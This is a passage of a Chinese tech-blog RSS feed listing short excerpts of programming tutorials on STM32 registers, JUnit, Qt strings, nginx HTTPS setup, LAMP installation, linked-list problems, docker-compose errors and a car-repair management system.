      <description>文章目录 前言一、HAL库中寄存器地址名称映射分析二、计算寄存器地址 前言 本篇文章是为了明白HAL 库中那些结构体是怎么与寄存器地址对应起来的。部分知识参考正点原子资料。&#xA;一、HAL库中寄存器地址名称映射分析 最根本的单片机开发就是直接操作寄存器的值，给这些位赋值，但是32单片机的寄存器太多，所以MDK就使用结构体将这些寄存器组织在一起。那么只要我们修改结构体的变量就可以修改对应寄存器的值。这些结构体的关联组织是在stm32f1xx.h 的头文件中完成的。&#xA;每个寄存器的地址都是偏移过来的，以GPIO为例，它的基地址是由 APB2 总线的基地址+GPIOA 在 APB2 总线上的偏移地址决定的。同理依次类推，我们便可以算出 GPIOA 基地址。&#xA;GIPO的结构体是根据GPIO的地址来定义的，GPIO的地址是从GPIO基地址偏移过来的，GPIO的基地址是从时钟线的基地址偏移过来的，时钟线的地址是由PERIPH基地址偏移的，如下所示：&#xA;typedef struct { __IO uint32_t CRL; __IO uint32_t CRH; __IO uint32_t IDR; __IO uint32_t ODR; __IO uint32_t BSRR; __IO uint32_t BRR; __IO uint32_t LCKR; } GPIO_TypeDef; 我们跳转GPIOA的定义&#xA;#define GPIOA ((GPIO_TypeDef *) GPIOA_BASE) 这个宏是将GPIOA的基地址强转为结构体指针，我们继续跳转GPIOA_BASE&#xA;#define GPIOA_BASE (APB2PERIPH_BASE + 0x0800) 这个宏是将APB2时钟线的地址偏移0x0800得到的GPIOA基地址，我们以此类推依次跳转&#xA;#define APB2PERIPH_BASE (PERIPH_BASE + 0x10000) #define PERIPH_BASE ((uint32_t)0x40000000) 最后得到始终总线的基地址&#xA;其他外设也是一样。&#xA;二、计算寄存器地址 计算寄存器的地址：（以GPIOA为例）&#xA;GPIOA 的寄存器的地址=GPIOA 基地址+寄存器相对 GPIOA 基地址的偏移值</description>
    </item>
    <item>
      <title>单元测试工具-Junit</title>
      <link>https://bchobby.github.io/posts/6373d231a3ff6475f593f79b3a443c6d/</link>
      <pubDate>Fri, 10 Nov 2023 17:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6373d231a3ff6475f593f79b3a443c6d/</guid>
      <description>文章目录 一. 认识Junit二. Junit中常用的注解1. @Test2. @Disabled3. @BeforeAll &amp;amp; @AfterAll4. @BeforeEach &amp;amp; @AfterEach 三. @ParameterizedTest参数化1. 单参数2. 多参数2.1. CSV 获取参数2.2. 方法获取参数 四. @Order控制测试用例的执行顺序五. 断言六. 测试套件1. 通过Class运行测试用例2. 通过包运行测试用例 一. 认识Junit JUnit 是一个用于编写和运行 Java 程序的开源框架，它支持自动化单元测试，可以帮助开发人员测试代码的正确性和健壮性。&#xA;JUnit 提供了一组注解、断言和测试运行器，可以方便地编写和运行单元测试。&#xA;在进行自动化测试时，比如使用 Selenium 自动化测试框架编写一些测试用例脚本，那么可能就需要执行很多测试用例的，此时我们就需要一个工具来管理这些测试用例，而 Junit 就是一个很好的管理工具。&#xA;二. Junit中常用的注解 比较常用的是 JUnit5 版本，要使用需要引入以下依赖：&#xA;&amp;lt;!-- https://mvnrepository.com/artifact/org.junit.jupiter/junit-jupiter-api --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.junit.jupiter&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit-jupiter-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.9.2&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; 其中的常用的注解有以下几个：&#xA;注解说明@Test标识单元测试方法。@BeforeEach在每个测试方法之前执行。@AfterEach在每个测试方法之后执行。@BeforeAll在所有测试方法之前执行，只会执行一次。@AfterAll在所有测试方法之后执行，只会执行一次。@Disabled标识禁用的测试类或测试方法。 1. @Test @Test注解标识在方法上面，表示当前的方法是一个单元测试方法，通过 @Test 标识的单元测试方法，不需要在main中，也可以直接执行。&#xA;演示代码：&#xA;import org.junit.jupiter.api.Test; public class JunitTest { @Test void Test01() { System.</description>
    </item>
    <item>
      <title>auto-imports.d.ts是什么文件</title>
      <link>https://bchobby.github.io/posts/8b419a136c0fe0e5e1ddb7683d9c53fc/</link>
      <pubDate>Fri, 10 Nov 2023 17:15:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b419a136c0fe0e5e1ddb7683d9c53fc/</guid>
      <description> 本人github auto-imports.d.ts 文件是一个类型定义文件，用于TypeScript项目中。这个文件通常是由一些现代前端开发工具和框架自动生成的，比如Vite、Vue CLI或其他支持自动导入功能的工具。它的主要目的是提供一个类型声明环境，使得在你的项目中自动导入的变量、函数、组件等能够被TypeScript正确识别，从而提供类型检查和智能提示。&#xA;文件功能： 自动导入识别：当你使用了如Vue或React等框架的某些特性时（比如Vue的Composition API、React的Hooks等），这些特性可能会自动导入到你的项目中。auto-imports.d.ts 文件帮助TypeScript理解这些自动导入的元素，即使你在代码中没有显式导入它们。&#xA;编辑器支持：该文件还帮助编辑器（如VS Code）提供自动完成、代码高亮和其他智能提示功能。&#xA;示例： 假设你正在使用Vue 3和Vite，项目中可能会自动生成一个auto-imports.d.ts文件，内容大致如下：&#xA;// auto-imports.d.ts declare module &#39;vue&#39; { export function ref&amp;lt;T&amp;gt;(value: T): Ref&amp;lt;T&amp;gt; // ...其他自动导入的API... } 在这个例子中，auto-imports.d.ts 告诉TypeScript，即使你没有在你的组件中显式导入ref函数，它也是可用的，并且提供了关于ref函数的类型信息。&#xA;注意事项： 这个文件通常不需要手动修改。它由工具自动生成，并根据项目的使用情况进行更新。如果你在使用相关的框架或工具，而且启用了TypeScript，这个文件是自动管理的，你通常不需要关心它的具体内容。 </description>
    </item>
    <item>
      <title>STM32——NVIC中断优先级管理分析</title>
      <link>https://bchobby.github.io/posts/f18867bbc08c616bceeb75c1f7e7fc11/</link>
      <pubDate>Fri, 10 Nov 2023 17:05:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f18867bbc08c616bceeb75c1f7e7fc11/</guid>
      <description>文章目录 前言一、中断如何响应？NVIC如何分配优先级？二、NVIC中断优先级管理详解三、问题汇总 前言 个人认为本篇文章是我作总结的最好的一篇，用自己的话总结出来清晰易懂，给小白看也能一眼明了，这就是写博客的意义吧。本篇文章具体介绍了 NVIC中断优先级管理，是如何进行管理，如何根据优先级响应中断的。本篇文章仅作为个人学习笔记总结，不做权威标准。&#xA;一、中断如何响应？NVIC如何分配优先级？ 那么是如何响应的呢？中断占用8bit，但是只用高四位。优先级分组为4位，有以下的分组方式:0-4,1-3,2-2,3-1,4-0，这几组中分别是响应优先级和抢占优先级的分组，例如1-3，就是响应优先级为1，抢占优先级为3。&#xA;1.抢占优先级的级别&amp;gt;响应优先级级别&#xA;2.数值越小优先级越高&#xA;3.抢占优先级与响应优先级都一样，那么看哪个中断先发生。&#xA;4.高优先级的抢占优先级的中断可以打断低抢占优先级的中断，但是高优先级的响应优先级的中断不能够打断低响应优先级的中断。&#xA;例子：假定设置中断优先级组为 2，然后设置中断 3(RTC 中断)的抢占优先级为 2，响应优先级为 1。中断 6（外部中断 0）的抢占优先级为 3，响应优先级为 0。中断 7（外部中断 1）的抢占优先级为 2，响应优先级为 0。那么这 3 个中断的优先级顺序为：中断 7&amp;gt;中断 3&amp;gt;中断 6。&#xA;上面例子中的中断 3 和中断 7 都可以打断中断 6 的中断。而中断 7 和中断 3 却不可以相互打断！&#xA;二、NVIC中断优先级管理详解 详细NVIC中断优先级管理，以下是正点原子的详细介绍：（上面懂了下面不用看）&#xA;CM3 内核支持 256 个中断，其中包含了 16 个内核中断和 240 个外部中断，并且具有 256 级的可编程中断设置。但 STM32 并没有使用 CM3 内核的全部东西，而是只用了它的一部分。 STM32 有 84 个中断，包括 16 个内核中断和 68 个可屏蔽中断，具有 16 级可编程的中断优先级。而我们常用的就是这 68 个可屏蔽中断，但是 STM32 的 68 个可屏蔽中断，在 STM32F103 系列上面，又只有 60 个（在 107 系列才有 68 个）。</description>
    </item>
    <item>
      <title>Qt QString 增、删、改、查、格式化等常用方法总结</title>
      <link>https://bchobby.github.io/posts/3262d2ebf9105f39a768718dc5839300/</link>
      <pubDate>Fri, 10 Nov 2023 16:46:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3262d2ebf9105f39a768718dc5839300/</guid>
      <description>目录&#xA;一、QString 格式化 之 arg()：&#xA;二、字符串拼接操作&#xA;三、字符串部分删除&#xA;四、字符串替换&#xA;五、字符串查找&#xA;六、其他，一些常用的方法&#xA;一、QString 格式化 之 arg()： 1、常规用法&#xA;QString QString::arg(const QString &amp;amp;a, int fieldWidth = 0, QChar fillChar = QLatin1Char(&#39; &#39;)) const；&#xA;----------------&#xA;Returns a copy of this string with the lowest numbered place marker replaced by string a, i.e., %1, %2, ..., %99.&#xA;fieldWidth specifies the minimum amount of space that a is padded to and filled with the character fillChar. A positive value produces right-aligned text; a negative value produces left-aligned text.</description>
    </item>
    <item>
      <title>网站http升级至https</title>
      <link>https://bchobby.github.io/posts/b254d003975ebbb7e374d0236ad972fa/</link>
      <pubDate>Fri, 10 Nov 2023 14:47:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b254d003975ebbb7e374d0236ad972fa/</guid>
      <description>前言 HTTP（Hypertext Transfer Protocol）和HTTPS（Hypertext Transfer Protocol Secure）是用于在客户端和服务器之间传输数据的协议。它们之间的主要区别在于安全性和数据传输的方式：&#xA;安全性：HTTP是明文传输协议，数据在传输过程中不加密，容易被窃听和篡改。而HTTPS通过使用SSL（Secure Sockets Layer）或TLS（Transport Layer Security）协议对数据进行加密，确保数据在传输过程中的机密性和完整性，提供更高的安全性。&#xA;数据传输方式：HTTP使用的是默认的端口80，而HTTPS使用的是默认的端口443。HTTP的数据传输是明文的，而HTTPS的数据传输是经过加密的。&#xA;证书验证：HTTPS使用SSL证书对服务器进行身份验证，确保客户端与服务器之间的通信是安全的。这样可以防止中间人攻击和伪造网站。&#xA;由于HTTPS提供了更高的安全性，现在许多网站都采用HTTPS协议来保护用户的隐私和数据安全。&#xA;废话不多说，直接上流程&#xA;免费证书准备 现在腾讯云，百度云，阿里云都有免费的证书可以申请，大家可以到各自官网上申请，咱们这里选择百度智能云（为啥选择百度云？哈哈，因为楼主在百度呆过几年，对百度还有有感情滴！）&#xA;百度智能云搜索ssl证书 选择立即购买 选择其他证书品牌-TrustAsia-域名型DV-单域名版（测试版） 确认订单提交 ssl证书控制台查看已申请的证书 选择一个域名点击查看申请进行域名验证 我这里是第三方的域名注册商，在你购买的域名地址上边，配置下DNS，记录类型选择CNAME方式，主机记录与记录值都需要填一下，具体填写规则，主要看你的域名购买商怎么要求的，一般都差不多&#xA;Type：记录类型&#xA;HOST: 主机记录&#xA;ANSWER:记录值&#xA;填写完成后等待百度云自动发起验证，我们静待结果即可&#xA;验证通过后，我们就可以下载证书，配置到自己的网站上了&#xA;下载证书，网站用的nginx，这里选择nginx版本的 部署证书，这里贴出nginx配置 server { listen 80; server_name 证书绑定的域名; rewrite ^(.*)$ https://$host$1 permanent; #把http转成https } server { listen 443 ssl; server_name 证书绑定的域名; ssl_certificate /usr/share/cert/test.crt; #我把证书放到这个目录上里边了，你们随意 ssl_certificate_key /usr/share/cert/test.key; #我把证书放到这个目录上里边了，你们随意 ssl_session_timeout 5m; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_prefer_server_ciphers on; } 重启nginx，搞定</description>
    </item>
    <item>
      <title>乌班图搭建 LAMP</title>
      <link>https://bchobby.github.io/posts/e457409e9c5511c8ee83e8b679b25045/</link>
      <pubDate>Fri, 10 Nov 2023 14:39:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e457409e9c5511c8ee83e8b679b25045/</guid>
      <description>搭建 LAMP（Linux、Apache、MySQL、PHP）堆栈是在 Ubuntu 上构建 Web 服务器的常见任务。以下是一些步骤，指导如何在 Ubuntu 上搭建 LAMP 环境：&#xA;步骤：&#xA;更新系统软件包：&#xA;在终端中执行以下命令，确保系统中的软件包是最新的：&#xA;sudo apt update sudo apt upgrade 安装 Apache Web 服务器：&#xA;安装 Apache 服务器：&#xA;sudo apt install apache2 启动 Apache 并设置其开机自启动：&#xA;sudo systemctl start apache2 sudo systemctl enable apache2 验证 Apache 是否安装成功，打开浏览器，访问你的服务器 IP 地址（或者域名）：&#xA;http://your_server_IP 应该看到 Apache 的默认页面。&#xA;安装 MySQL 数据库：&#xA;安装 MySQL 服务器：&#xA;sudo apt install mysql-server 安装过程中会提示你设置 root 用户的密码。安装完成后，执行 MySQL 安全性脚本进行一些安全设置：&#xA;sudo mysql_secure_installation 安装 PHP：</description>
    </item>
    <item>
      <title>数据结构-单链表-力扣题</title>
      <link>https://bchobby.github.io/posts/ed637c9d84407d605b76d0be61d7e020/</link>
      <pubDate>Fri, 10 Nov 2023 14:22:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed637c9d84407d605b76d0be61d7e020/</guid>
      <description>目录&#xA;移除链表元素&#xA;反转链表&#xA;链表的中间节点&#xA;返回倒数第k个节点 合并两个有序列表 分割链表&#xA;链表的回文结构&#xA;相交链表：找两个链表的公共节点&#xA;环形链表：判断链表中是否有环&#xA;环形链表 II：要求返回入环的第一个节点&#xA;移除链表元素 题目链接：力扣（LeetCode）&#xA;思路：和前面学的单链表的中间删除数据一样，使要被删除节点的前一个节点指向下要被删除节点的下一个节点，然后把要被删除的节点free掉。&#xA;具体实现过程：先定义prev和cur，让cur指向头节点，遍历链表，如果cur-&amp;gt;val!=val，让prev指向cur，cur指向cur的下一个节点，（prev始终在cur前面一个节点），当cur-&amp;gt;val=val时停下，让prev的下一个节点指向cur的下一个节点，删除它们中间的cur节点，然后让cur重新指向prve-&amp;gt;next，这就实现了节点的删除。但是还有一种情况如下图：&#xA;头节点的数据等于val，这时就需要判断了，如果头节点数据等于val，就要删除头节点，然后把head重新指向原来的头结点的下一个节点，cur重新指向head：&#xA;代码如下：&#xA;struct ListNode* removeElements(struct ListNode* head, int val) { struct ListNode*prev=NULL; struct ListNode*cur=head; while(cur!=NULL) { if(cur-&amp;gt;val==val) { if(prev) { prev-&amp;gt;next=cur-&amp;gt;next; free(cur); cur=prev-&amp;gt;next; } else { head=cur-&amp;gt;next; free(cur); cur=head; } } else { prev=cur; cur=cur-&amp;gt;next; } } return head; } 这道题还有一道解法，就是重新开辟一个节点，找到不相等的节点，尾插到该节点的后面&#xA;直接上代码：&#xA;struct ListNode* removeElements(struct ListNode* head, int val) { struct ListNode* newhead=NULL; struct ListNode* cur=head; struct ListNode* tail=NULL; while(cur!</description>
    </item>
    <item>
      <title>XSHELL连接VMware失败(网络服务原因)</title>
      <link>https://bchobby.github.io/posts/7ce386e8ab11b8973042bc116d9938ab/</link>
      <pubDate>Fri, 10 Nov 2023 11:02:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ce386e8ab11b8973042bc116d9938ab/</guid>
      <description>xshell出现此类代码&#xA;Connecting to 10.0.0.100:22...&#xA;Could not connect to &#39;10.0.0.100&#39; (port 22): Connection failed.&#xA;Type `help&#39; to learn how to use Xshell prompt.&#xA;排除ssh端口问题&#xA;可能是Windows中网络服务关闭（以window11版本为例）&#xA;解决方法&#xA;此电脑右键显示更多选项中的管理&#xA;选择服务和应用程序中的服务，查找VMware NAT服务,查看是否在运行&#xA;如果不在运行，点击启动，重启vmware。xshell重连即可</description>
    </item>
    <item>
      <title>dba mysql 之 秒杀 初探 - 含 jg eams 高并发附件上传 解决思路</title>
      <link>https://bchobby.github.io/posts/cd77a5d32cfe3a7c7153294b8121397e/</link>
      <pubDate>Fri, 10 Nov 2023 10:27:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd77a5d32cfe3a7c7153294b8121397e/</guid>
      <description>一 整体设计 原文：敲黑板，也来谈如何设计一个秒杀系统（重点）&#xA;https://mp.weixin.qq.com/s?__biz=MzAwMjk5Mjk3Mw==&amp;amp;mid=2247499316&amp;amp;idx=2&amp;amp;sn=8c5c7d3071558abb183ab5505f102161&amp;amp;chksm=9ac34016adb4c900d7ce84191c0d65af634e7b92382e483a5bdead026b9f25460c15b996739f&amp;amp;scene=27&#xA;Overview 1.1 并发读写&#xA;秒杀要解决的主要问题是：并发读与并发写。&#xA;并发读的优化理念是尽量减少用户到服务端来读数据，或者让他们读更少的数据；并发写的处理原则一样，要求我们在数据库层面独立出一个库，做特殊的处理。&#xA;其次，还需要针对秒杀系统做一些保护，针对意料之外的情况设计兜底方案，以防止最坏的情况发生。&#xA;1.2 API设计原则&#xA;值得注意的地方是：如果想打造并维护一个超大流量并发读写、高性能、高可用的系统，在整个用户请求路径上从浏览器到服务端我们要遵循几个原则，就是保证用户请求的数据尽量少、请求数尽量少、路径尽量短、依赖尽量少，不要有单点&#xA;1.3 秒杀架构原则&#xA;1.3.1 高可用&#xA;整个系统架构需要满足高可用性，流量符合预期的时候肯定要稳定，就是超出预期也同样不能掉链子，保证秒杀产品顺利卖出。&#xA;1.3.2 一致性&#xA;数据必须一致，即成交总量必须和设定的数量一致。&#xA;1.3.3 高可用&#xA;系统的性能要足够强，支撑足够大的流量，不仅是服务端要做极致的性能优化，而且在整个请求链路上都要做协同的优化，每个地方都要快一点，整个系统就完美了。&#xA;本文将从这三个原则上来分别进行详细说明。&#xA;架构原则&#xA;秒杀系统本质上是一个满足大并发、高性能和高可用的分布式系统。 2.1 数据尽量少&#xA;用户请求的数据能少就少，请求的数据包括上传给系统的数据和系统返回给用户的数据。&#xA;因为这些数据在网络上传输需要时间，其次不管是请求数据还是返回数据都需要服务器处理，而服务器在写网络的时候通常都要做压缩和字符编码，这些都非常消耗CPU，所以减少传输的数据量可以显著减少CPU的使用。&#xA;同样，数据尽量少还要求系统依赖的数据能少就少，包括系统完成某些业务逻辑需要读取和保存的数据，这些数据一般是和后台服务以及数据库打交道的。调用其他服务会涉及数据的序列化和反序列化，这也是CPU的一大杀手，同样也会增加延时。而且数据库本身也很容易成为瓶颈，因此越少和数据库打交道越好。&#xA;2.2 请求数尽量少&#xA;用户请求的页面返回后，浏览器渲染这个页面还要包含其他的额外请求，比如说，这个页面依赖的 CSS/JavaScript、图片，以及 Ajax 请求等等都定义为“额外请求”，这些额外请求应该尽量少。因为浏览器每发出一个请求都多少会有一些消耗，例如建立连接要做三次握手，有的时候有页面依赖或者连接数限制，一些请求（例如 JavaScript）还需要串行加载等。另外，如果不同请求的域名不一样的话，还涉及这些域名的 DNS 解析，可能会耗时更久。所以你要记住的是，减少请求数可以显著减少以上这些因素导致的资源消耗。&#xA;例如，减少请求数最常用的一个实践就是合并 CSS 和 JavaScript 文件，把多个 JavaScript 文件合并成一个文件，在 URL 中用逗号隔开（https://g.xxx.com/tm/xx-b/4.0.94/mods/??module-preview/index.xtpl.js,module-jhs/index.xtpl.js,module-focus/index.xtpl.js）。这种方式在服务端仍然是单个文件各自存放，只是服务端会有一个组件解析这个 URL，然后动态把这些文件合并起来一起返回。&#xA;2.3 路径要尽量短&#xA;路径指的是用户发出请求到返回数据这个过程中需要经过的中间节点的数量。&#xA;通常，这些节点可以表示为一个系统或者一个新的 Socket 连接（比如代理服务器只是创建一个新的 Socket 连接来转发请求）。每经过一个节点，一般都会产生一个新的 Socket 连接。&#xA;然而，每增加一个连接都会增加新的不确定性。从概率统计上来说，假如一次请求经过 5 个节点，每个节点的可用性是 99.9% 的话，那么整个请求的可用性是：99.9% 的 5 次方，约等于 99.</description>
    </item>
    <item>
      <title>docker-compose 多容器报错集</title>
      <link>https://bchobby.github.io/posts/21ca851a0ac5a5a765b86ca47c765e45/</link>
      <pubDate>Fri, 10 Nov 2023 10:20:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21ca851a0ac5a5a765b86ca47c765e45/</guid>
      <description>1. Nest.js+Mysql 数据库连接失败 报错提示：&#xA;first-nest-first-nest-1 | [Nest] 1 - 11/10/2023, 1:57:08 AM ERROR [ExceptionHandler] connect ECONNREFUSED 127.0.0.1:3306 first-nest-first-nest-1 | Error: connect ECONNREFUSED 127.0.0.1:3306 first-nest-first-nest-1 | at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1595:16) first-nest-first-nest-1 exited with code 1 docker-compose.yml配置&#xA;version: &#39;3&#39; services: mysql: image: mysql:5.7 # container_name: first-nest-mysql #自定义容器的名称 volumes: #挂载当前的data目录到容器默认mysql存储目录 - ./deploy/mysql/db:/var/lib/mysql - ./deploy/mysql/mysqld:/var/run/mysqld environment: #环境变量 - MYSQL_ROOT_PASSWORD=123456 #mysql的root密码 - MYSQL_DATABASE=love_koa_docker #mysql的初始化数据库 command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci ports: - &#34;3305:3306&#34; #docker 重启后，容器自启动 restart: always networks: - app-network first-nest: depends_on: - mysql build: context: .</description>
    </item>
    <item>
      <title>基于SSM（Spring&#43;SpringMVC&#43;MyBatis）&#43;Android实现汽修管理系统《建议收藏：附完整源码&#43;数据库》</title>
      <link>https://bchobby.github.io/posts/171470cdd2af7bed3a27264c0bfee4ac/</link>
      <pubDate>Fri, 10 Nov 2023 09:38:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/171470cdd2af7bed3a27264c0bfee4ac/</guid>
      <description>文章目录 一、登陆系统（1）需用用户填写的登陆信息：（2）登陆操作进行了严格的判断：a:当用户没有输入任何信息就直接点击“登陆”进行登陆的时候，会根据输入框的顺序依次进行判断：b: 当用户开始输入信息点击“登陆”进行登陆的时候，会根据输入框的顺序再次进行判断： 二、主页面三、《预约安排》模块四、《客户接待》模块五、《维修派工》模块六、《维修领料查询》模块七、《维修领料》模块八、《维修退料》模块九、《完工确认》模块十、《结算出厂》模块十一：《快速修车》模块附Android相关展示页面和代码 项目名称：智百盛汽修管理系统 注：本项目只作为学习案例，仅供参考。 一、登陆系统 （1）需用用户填写的登陆信息： 1、账号2、密码3、验证码4、用户类型 （2）登陆操作进行了严格的判断： a:当用户没有输入任何信息就直接点击“登陆”进行登陆的时候，会根据输入框的顺序依次进行判断： 然后分别会给出如下提示：&#xA;1、用户名不能为空；2、密码不能为空；3、验证码不能为空；4、请选择用户类型！ b: 当用户开始输入信息点击“登陆”进行登陆的时候，会根据输入框的顺序再次进行判断： 然后分别会给出如下提示：&#xA;1、判断用户是否正确；2、判断密码是否正确；3、判断验证码是否正确；4、判断用户类型是否正确。 假如输入的信息全部都是不正确的，便会根据判断进行提示：然后分别会给出如下提示：&#xA;1、用户不正确；2、密码不正确；3、验证码不正确；4、用户类型不正确。 只有输入的信息全部都正确才可以顺利进入“智百盛汽修汽配”管理系统。&#xA;登陆页面如下图显示：&#xA;二、主页面 登陆进入主页面后，主页面的截图如下：&#xA;1、主页面在右上角的地方设置显示当前登陆的用户名（不是登陆的账户号，而是用户名），登陆时间（获取当前登陆的系统时间）和登陆时长（设置session，自动计时，不需要刷新页面，登陆的时长也会自动增加）&#xA;2、点击左边导航栏《汽修管理》按钮，进入汽修管理模块，页面截图如下：&#xA;三、《预约安排》模块 预约安排主要是针对需要前来修车的客户的预约登记，录入车主、维修车辆基本信息（若已是老客户，可直接导入信息）及修理项目。&#xA;♦登记车牌、车型、车主信息，方便后期查询车主资料。&#xA;♦修理单号、修理类别、金额、开单日期和预约维修日期、接车人。&#xA;♦修理项目（明细）、估计配件、其他费用、备注、保险索赔：方便维修人员进行维修领料，以及修理时的注意事项，还有后期保险索赔的办理。&#xA;然后点击《预约安排》按钮或者图标，都可以进入预约安排的页面进行相关的操作，页面截图如下：&#xA;本页面可以操作的功能分别有“新增”，“删除”，“保存”，“打印”，“查询单据”，“转维修单”，“审核”，“反审核”，“退出”。&#xA;首先请看预约安排单页面中的内容：&#xA;预约单号：该单号是自动生成的（由大写字母BJ+年月日时分/yyMMdd HHmm+登陆的账户号+0001组成），然后根据每一天的日期来自增，每天首单都是自动从0001开始递增。&#xA;对应维修单号：是不能输入的，是用于回填的，它来源于单据转维修单后，也是自动生成的。&#xA;开单日期和预约维修日期都是绑定当前的系统时间，车牌文本框中的“Go！”按钮可以点击，然后进入车牌模态框，页面如下：&#xA;该模态框的数据是客户是信息，可以在此录入客户的基本信息，即新增客户的基本资料，新增完也可以回填修改（单击表格中的任意行，即可将数据回填到右边对应的文本框中），“请输入车牌号快速查找”是迷糊查询车牌的，可以输入完整的车牌号或者一个号码匹配相对应的数据车辆，方便操作者的操作；然后是“选中”按钮，该按钮是把表格的数据选中回填到主页面的，也相当于双击表格中的数据进行回填，这里既可以选择“选中”按钮进行操作，也可以双击表格进行回填，两个功能都可以实现；接着是“新增”按钮，该按钮并不是真正意义上是新增数据，而是当你单击表格中的任意行，即可将数据回填到右边对应的文本框中，将所有的文本框中的数据进行清空，说白了就是一个清空按钮；然后是“保存”按钮，该按钮可以进行两个操作，第一是新增数据到数据库，第二是修改数据。这里编码的时候要注意。接着是“刷新”操作，该操作是实现刷新页面的作用，这里忽略，最后是“关闭”按钮，点击就关闭模态框。&#xA;PS：右边表格中的客户编号也是利用自动生成编号的原理实现的效果，最右下角是“修改复选框”是用来勾选修改数据的，不勾选回填的数据不能进行修改，只有把复选框选中才可以对数据进行修改的操作。&#xA;现在我们单击一条数据进行回填，回填到页面的效果如下：&#xA;剩余的文本框和下拉框需要用户手动去输入和选择；&#xA;接下来下面是明细表格的操作：&#xA;1、修理项目明细表格中：可以利用鼠标右键选择“添加”和“删除”两个操作，添加是继续添加一行，删除是从最后一行进行删除；&#xA;添加行后只需选中修理项目下拉框就可以把其他的数据进行绑定，然后只要再选择维修性质下拉框就可以了，若是需要更改，表格也是可以编辑的，直接在表格修改即可。&#xA;2、产品材料明细表格中：可以利用鼠标右键选择“添加”和“删除”两个操作，添加弹出另一个产品模态框，供用户选择需要的产品材料，如下图，删除是从最后一行进行删除数据；&#xA;该产品模态框也可以进行多种商品类型的模糊查询，首选可以选择快速查找旁边是下拉框，选择对应是数据，然后再在下拉框旁边是文本框输入与下拉框匹配的信息进行筛选，也可以点击左边的货品分类目录，进行筛选对应是数据，筛选到需要的收据就可以勾选（多条）相对应是数据前面的复选框，然后点击“确定”按钮进行回填到产品材料明细表格中，如果找的数据不满足需求还可以点击“新增加”按钮进入另一个模态框，然后又可以在该模态框输入你想要的信息，也可以上传图片，如下图，再进行保存，数据新增成功后就会刷新出现在产品模态框中，然后可以重复上面是操作回填就可以了。&#xA;3、其他费用明细表格中：可以利用鼠标右键选择“添加”和“删除”两个操作，添加是继续添加一行，删除是从最后一行进行删除，添加行后只需选中费用名称下拉框就可以把其他的数据进行绑定，若是需要更改，表格也是可以编辑的，直接在表格修改即可。如图：&#xA;接着再看“查询单据”按钮的操作，查询单据是数据来源于刚才主页面保存后的数据，点击“查询单据”弹出单据模态框，如图：&#xA;在该模态框中可以进行预约单号模糊查询和审核状态下拉框匹配查询，然后可以双击表格回填数据到主页面（或者单击数据再点击“确定”按钮，也可以回填），回填后还可以在主页面进行“审核”和“反审核”操作；&#xA;审核后的数据不允许更改，如下图，&#xA;反审核后的数据可以再次修改，如下图。&#xA;四、《客户接待》模块 客户接待主要是对前来修车的客户及维修基本资料进行登记，把修理的明细录入，以便后期进行查询。&#xA;♦登记车牌、车型、进厂里程、油量、车主信息、发动机号码：方便后期查询车主资料。&#xA;♦修理编号、类别、金额、进厂日期和结算日期、送修人电话：方便管理人员管理，联系送修人在相应的时间来取车。&#xA;♦修理项目（明细）、估计配件、其他费用、备注、保险索赔：方便维修人员进行维修领料，以及修理时的注意事项，还有后期保险索赔的办理。&#xA;在主页面点击《客户接待》按钮或者图标，都可以进入客户接待的页面进行相关的操作，页面截图如下：&#xA;本页面同样也是登记维修客户的基本资料，然后录入各种明细，具体操作参考《预约安排》模块；&#xA;然后点击“查询单据”，弹出单据模态框。如图：&#xA;该模态框是记录保存进去的数据，双击数据可以进行数据回填，如图：&#xA;五、《维修派工》模块 在《客户接待》模块中点击“转派工单”可以将对应的数据绑定过来，也就是回填，这里以选择单据回填后的数据来说明，回填后直接点击“转派工单”就可以将《客户接待》页面的数据绑定过来了，如图：&#xA;在此页面还可以点击“派工”继续添加明细行，每次添加一行，也可以点击“删除”按钮进行删除。同样可以点击“查询单据”进入单据模态框，如图：&#xA;在该模态框中可以进行维修单号模糊查询、单据状态、付款下拉框和车牌匹配查询，然后可以双击表格回填数据到主页面。&#xA;六、《维修领料查询》模块 处理送修车辆的配件问题，可以查询送修车辆领料和退料以及领料人资料，以便后期结算。&#xA;主要查询维修车辆需要的信息，然后在该页面进行“领料”和“退料”操作；新数据刚过来此页面时，都是显示“未领料”的状态，如下图：&#xA;然后领过料的就是“已领料”的状态，退过料的就是“已退料”的状态。如图显示：&#xA;在该页面中可以进行时间段的模糊查询，可以选择领料状况下拉框和输入车牌信息进行筛选。例如时间段查询效果如下（根据结算单日期查询，因为结算了才算是出厂时间）：</description>
    </item>
    <item>
      <title>基于SSH（Struts&#43;Spring&#43;Hibernate）实现汽修管理系统《建议收藏：附完整源码&#43;数据库》</title>
      <link>https://bchobby.github.io/posts/4a4652a0ac116a4541df9a66a2257c37/</link>
      <pubDate>Fri, 10 Nov 2023 09:37:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a4652a0ac116a4541df9a66a2257c37/</guid>
